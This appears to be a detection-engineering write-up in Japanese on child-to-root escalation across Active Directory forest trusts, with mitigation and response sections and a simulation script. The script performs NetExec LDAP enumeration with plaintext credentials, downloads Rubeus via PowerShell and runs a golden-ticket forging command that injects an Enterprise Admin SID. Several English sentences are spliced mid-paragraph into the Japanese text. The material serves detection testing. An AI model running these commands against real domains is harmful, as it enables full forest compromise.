Active Directoryフォレストトラストの悪用と子からルートへのエスカレーション
Detection stack
- AIDR
- Alert
- ETL
- Query
概要
この技術的なウォークスルーでは、子ドメインでドメイン管理者の権限を持つ攻撃者がフォレストルートの管理権限をエスカレートする方法を示します。攻撃は、双方向のフォレスト内信頼と許容SIDフィルタリングを悪用して、エンタープライズ管理者SIDを偽のKerberosチケットに注入します。また、PetitPotamなどの強制方法がどのように活用されて機械アカウントチケットを取得し、DCSync攻撃を可能にするかも説明します。
調査
このレポートでは、攻撃者が pentest.ignite.local 子ドメインで開始するラボベースのエンゲージメントを説明しています。ワークフローには、フォレスト信頼の列挙、 krbtgt ハッシュの抽出、SID履歴を使用してゴールデンチケットの偽造、親ドメインに対するDCSync攻撃の実行が含まれます。 ignite.local 第二のエスカレーションパスとして、PetitPotamの強制技術を使用する方法も示されています。
緩和策
推奨される緩和策には、すべてのドメインコントローラーを階層ゼロ資産として扱うこと、フォレスト全体で定期的にパスワードを2回変更することが含まれます。組織は信頼におけるSIDフィルタリングを施行し、無制約の委任を無効化し、ドメインコントローラー上の印刷スプーラーサービスをオフにする必要があります。追加の強化ステップには、Kerberos保護のために保護されたユーザーグループを使用し、異常なDRSUAPIレプリケーションアクティビティを監視することが含まれます。 krbtgt password twice on a regular basis across the forest. Organizations should enforce SID filtering on trusts, disable unconstrained delegation, and turn off the Print Spooler service on domain controllers. Additional hardening steps include using the Protected Users group for Kerberos protection and monitoring for abnormal DRSUAPI replication activity.
対応
DCSync活動や不正なKerberosチケット利用が検出された場合、対応者は直ちに影響を受けたドメインコントローラーを隔離し、二重のパスワードリセットを開始する必要があります。エンタープライズ管理者権限を持つすべてのアカウントを調査し、環境をRubeusやPetitPotamなどのツールについて確認するべきです。認証ログも確認し、異常な機械アカウントの動作や強制に関連する可能性のあるイベントを探します。 krbtgt password reset. All accounts with Enterprise Admin privileges should be investigated, and the environment should be checked for tools such as Rubeus or PetitPotam. Authentication logs should also be reviewed for unusual machine account behavior and possible coercion-related events.
攻撃フロー
シミュレーション実行
前提条件: テレメトリ & ベースラインの事前飛行チェックをパスする必要があります。
理由: このセクションでは、検出ルールを引き起こすために設計された敵の技術(TTP)の正確な実行を詳細に説明します。コマンドとナラティブは、特定されたTTPを直接反映し、検出ロジックが期待する正確なテレメトリを生成することを目的としています。抽象的または無関係な例では誤診を引き起こします。
-
攻撃のナラティブとコマンド: 攻撃者は子ドメイン(
pentest.ignite.local)で足場を得ています。フォレストルートにエスカレートするために、まずnxc(NetExec)を使用して、LDAPを介してドメインコントローラーをリストし、ターゲット環境をマッピングします。次に、powershellを使用してRubeus.exeをリモートの攻撃者制御サーバーからダウンロードします。最後に、Rubeus.exeを実行してゴールデンチケットを偽造します。この偽造されたチケットには、フォレストルートドメイン(S-1-5-21-2964257136-1039789743-457275023)のSIDが含まれており、攻撃者がルートドメインと対話する際にフォレスト管理者を偽装できるようにします。 -
回帰テストスクリプト:
# 特定のSigmaルールを引き起こすためのフォレスト信頼悪用のシミュレーション # 1. NetExec LDAP列挙のシミュレート # 注意: コマンドライン署名を模倣するために'dummy実行'として'nxc'を呼び出します Start-Process "cmd.exe" -ArgumentList "/c nxc ldap -u raaz -p Password@2 --dc-list" -NoNewWindow # 2. PowerShell経由でのRubeusのダウンロードをシミュレート # 正確な文字列と一致します: 'powershell wget http://Rubeus.exe -o Rubeus.exe' Start-Process "powershell.exe" -ArgumentList "wget http://Rubeus.exe -o Rubeus.exe" -NoNewWindow # 3. Rubeusゴールデンチケット偽造のシミュレート # 検出ルールで必要な正確な複雑な文字列と一致します $rubeusCmd = "Rubeus.exe golden /rc4: /user:administrator /domain:pentest.ignite.local /sid:S-1-5-21-3430543386-541733547-1396883976 /sids:S-1-5-21-2964257136-1039789743-457275023-519 /outfile:ticket" Start-Process "cmd.exe" -ArgumentList "/c $rubeusCmd" -NoNewWindow -
クリーンアップコマンド:
# ダウンロードされたRubeusファイルおよびダミーのアーティファクトを削除 Remove-Item -Path "Rubeus.exe" -ErrorAction SilentlyContinue Remove-Item -Path "ticket" -ErrorAction SilentlyContinue